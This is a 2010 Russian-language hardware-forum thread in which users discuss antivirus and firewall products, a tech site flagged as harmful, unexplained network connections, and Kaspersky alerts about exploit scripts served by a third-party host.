Автор:	Zhiza [ 16:03 16.01.2010 ]
Заголовок сообщения:
На сам сайт сегодня уже заходит, а вот по этой ссылке не хочет Ccылка на форум thg.ru

Автор:	MikeIS [ 17:03 16.01.2010 ]
Заголовок сообщения:
Zhiza Авастик ругается, правда я в этом ресурсе разочаровался уже давно, так что мне ни к чему.

Автор:	Alex_good [ 20:20 16.01.2010 ]
Заголовок сообщения:
Я против Аваста сильно ничего не имею (в винде на ноуте именно он стоит, другое дело, что Убунта там сильно чаще используется ), но он ругается на любую зашифрованную от баннерорезки переадресацию, не важно, вирусная она, или нет. Это не баг, это фича

Автор:	NEW [ 21:03 16.01.2010 ]
Заголовок сообщения:
Вообще-то Гугль совсем недавно писал в своем поиске для thg.ru, что "Данная страница может повредить Вашему компьютеру"..

Автор:	Zhiza [ 21:51 16.01.2010 ]
Заголовок сообщения:
Цитата: Клуб экспертов THG.ru Этот сайт может нанести вред Вашему компьютеру. Что-то не так работает на форуме, есть предложения или критика? Другие проблемы? ... Материалы Клуба экспертов THG.ru (Народное творчество) ... www.thg.ru/forum/ — 20 мин. назад — Похожие

Автор:	MikeIS [ 10:29 09.03.2010 ]
Заголовок сообщения:
"Блокеры" уже начинают бесить что за хрень творится с ноября того года, что ни день, то где-то "подведомственный" комп заблокирован Здесь уже указывали сервис от касперского, я наткнулся еще на сервис от веба. А есть ли еще подобные сервисы

Автор:	U-Nick [ 10:43 09.03.2010 ]
Заголовок сообщения:
Коллеги, а нет ли у кого списка опций командной строки Комода? Вот в автостарте про него прописано ...cfp.exe -h. В хелпе нет никаких упоминаний об этой -h. На их форум пока не ходил. ---- Сходил на их форум — все по-аглицки. Поискал — даже упоминания о command нету. Проблема в том, что вдруг при старте машины перестала появляться иконка Комода в трее. А без нее — никак. Повторный выхов cfp.exe создает в памяти еще один НЕУДАЛЯЕМЫЙ файл. И так же — молчком. Но ведь при первом же событии иконка тут же появляется!!! В толк не возьму, что же так повлияло? ---- Попутно: авторы Комода сделали пр0гу COMODO System cleaner (нашел есс-но в CHIPe ) ИМХО — полезно.

Автор:	U-Nick [ 17:57 23.03.2010 ]
Заголовок сообщения:
Иногда (на нек-рых ресурсах, особенно с источниками большго софта) из сети закачивается много всякого, а ЧТО и КУДА — не видно. КОМОД показывает только адреса и общий размер трафика по ним. Хотелось бы знать, что именно скачивается и куда складывается. Есть ли и где такой полезный инструмент (у меня инет идет через локалку)?

Автор:	sss123sss [ 11:08 26.03.2010 ]
Заголовок сообщения:
U-Nick писал(а): У нас сменили версию Каспера на 6.0.3.837 ... НО! "вумный" админ не проставил в настройках "проверять только новые и измененные файлы" !! Вот прям щаз Каспер мои 1.5 лимона файлов проверяет по второму кругу — групповая задачка, БЛИН!!! Ошибаетесь многоуважаемый. "вумный" админ птицы все поставил

Автор:	U-Nick [ 13:12 26.03.2010 ]
Заголовок сообщения:
sss123sss Свежо предание... Долгонько собираетесь с мыслями, уважаемый.

Автор:	U-Nick [ 20:07 09.05.2010 ]
Заголовок сообщения:
Вопрос к знатокам: КОМОД пишет, что заблокировал вот такие попытки системы(!) выйти в сеть (через LAN/PPPoE): 10.20.130.89:2884 —> 10.20.132.154:2967 10.20.132.154:1487 —> 77.88.21.90:445 (неск. раз) ИЕ стоит ВСЕГДА в автоном-режиме. Прочие пытающиеся понятны — открывание/редактирование сохраненного, сам КОМОД и тп. Что за системные дела? кто и куда стучится? Если что-то надо еще посмотреть, спрашивайте.

Автор:	ArtLonger [ 20:35 09.05.2010 ]
Заголовок сообщения:
U-Nick http://www.oszone.net/1386/ 445 — это SMB. Шары там и всё такое. Мусорно и вирусно. С 2967 сложнее. Если ТСР, а не UDP — проще считать вирусом Логи включены?

Автор:	U-Nick [ 21:41 09.05.2010 ]
Заголовок сообщения:
ArtLonger за линк! Там "445=MICROSOFT-DS — Microsoft-DS" Логи то включены, но они уж больно развесисты и не даются скопировать текст нужное место. Нашел лог-файл comodo.txt , но в нем только найденные и подозрительные вирь-угрозы (даже такие ): Unclassified Malware@8300878 F:\Install\Drivers\MB\Gigabyte\BootDrv\3132r_64.exe Unclassified Malware@6465652 F:\Install\Drivers\MB\Gigabyte\BootDrv\it8211.exe Unclassified Malware@8221398 F:\Install\Drivers\MB\Gigabyte\BootDrv\MSM64.exe .... а, нет, есть просмотрщик: с фильтрами и даже с экспортом в файл. Цитата: Если ТСР, а не UDP — проще считать вирусом тут я не понял.

Автор:	RAV123 [ 00:17 10.05.2010 ]
Заголовок сообщения:
У меня стоит AVG Internet Security (не бесплатный , но есть и бесплатная версия) , у него 7 защит, Антивирус , антишпион,Блокировщик опасных вебузлов , анти рутик , E-mail skanner , Проверка сетевого трафика на угрозы , проверка всех файлов с какими на данный момент идет работа . Систему вообще не тормозит , работает и с ХР ,и с Семеркой . До этого стоял Каспер 5 , тоже нормально ,за 7 лет штуки 3 вирусов пропустил. А AVG наловил в системе все кряки, но я ему дал по голове и он успокоился. Мне нравиться , пользуюсь полгода, пока все ОК. И еще че понравилось, после ввода ключа ,активация на 8 лет. Зараженнные файлы лечит молча , если не может вылечить удаляет в карантин,а просто так не стирает. и запретить ему можно многое. Одно неудобно — неотключатся, отключить конечно можно , но долго возиться надо ,И автозагрузку убрать ,и в службах , и процессы поубивать.Короче сделан для тех кто любит лезть куда ненадо. И на русском он, перевод правильный .

Автор:	ArtLonger [ 00:44 10.05.2010 ]
Заголовок сообщения:
U-Nick Цитата: тут я не понял. Ну по UDP порт 2967 использует Symantec, если не ошибаюсь. А по TCP — какой-то вирус: http://www.freeantivirus.ru/node/76 Ещё на всяк случай. http://www.oszone.net/1843/ <— это общая инфа по TCP/IP. http://ru.wikipedia.org/wiki/Список_портов_TCP_и_UDP

Автор:	DooC [ 02:26 10.05.2010 ]
Заголовок сообщения:
есть персональный антивирус касперского безплатный http://z-oleg.com/secur/avz/download.php

Автор:	U-Nick [ 16:48 10.05.2010 ]
Заголовок сообщения:
ArtLonger 10х! Отличный все-таки ресурс — OSzone! Я тут попутно нарыл у себя несколько их Хелпов по системам... читать — не перечитать! RAV123 КОМОД тоже все подобное нашел. Вот когда-то у меня стоял фриварный Sygate Personal Firewall 5.6.2808 — он хорошо умел настраиваться и прослеживать КТО-КУДА, но потом перестал показываться в трее (как и КОМОД — тож стал показываться в трее только при появленни к-л своего сообщения) Пришлось от него отказаться...

Автор:	Zhiza [ 05:01 20.05.2010 ]
Заголовок сообщения:
Пытался зайти на THG.RU Crysis 2: свежие скриншоты — война и инопланетяне в большом городе. антивирус касперского 2010(kis 2010 9.0.0.736) выдал следующее предупреждение: 20.05.2010 8:44:53 Заражен вирус HEUR:Exploit.Script.Generic http://15411207.net/img1/pdf.php//data0000 Высокая 20.05.2010 8:44:55 Заражен троянская программа Exploit.Java.Agent.f http://15411207.net/img1/53.jar/gogol/Familie.class Высокая У всех так? Зашел еще раз, не повторилось. Браузер Опера 10.53, система ХП 32бит.

Автор:	MikeIS [ 07:39 20.05.2010 ]
Заголовок сообщения:
Zhiza Аваст и нод тоже ругаются.

Страница 1 из 3	Часовой пояс: UTC + 3 часа
Copyright © 2001 - 2012, Radeon.ru Team Powered by phpBB® Forum Software © phpBB Group http://www.phpbb.com/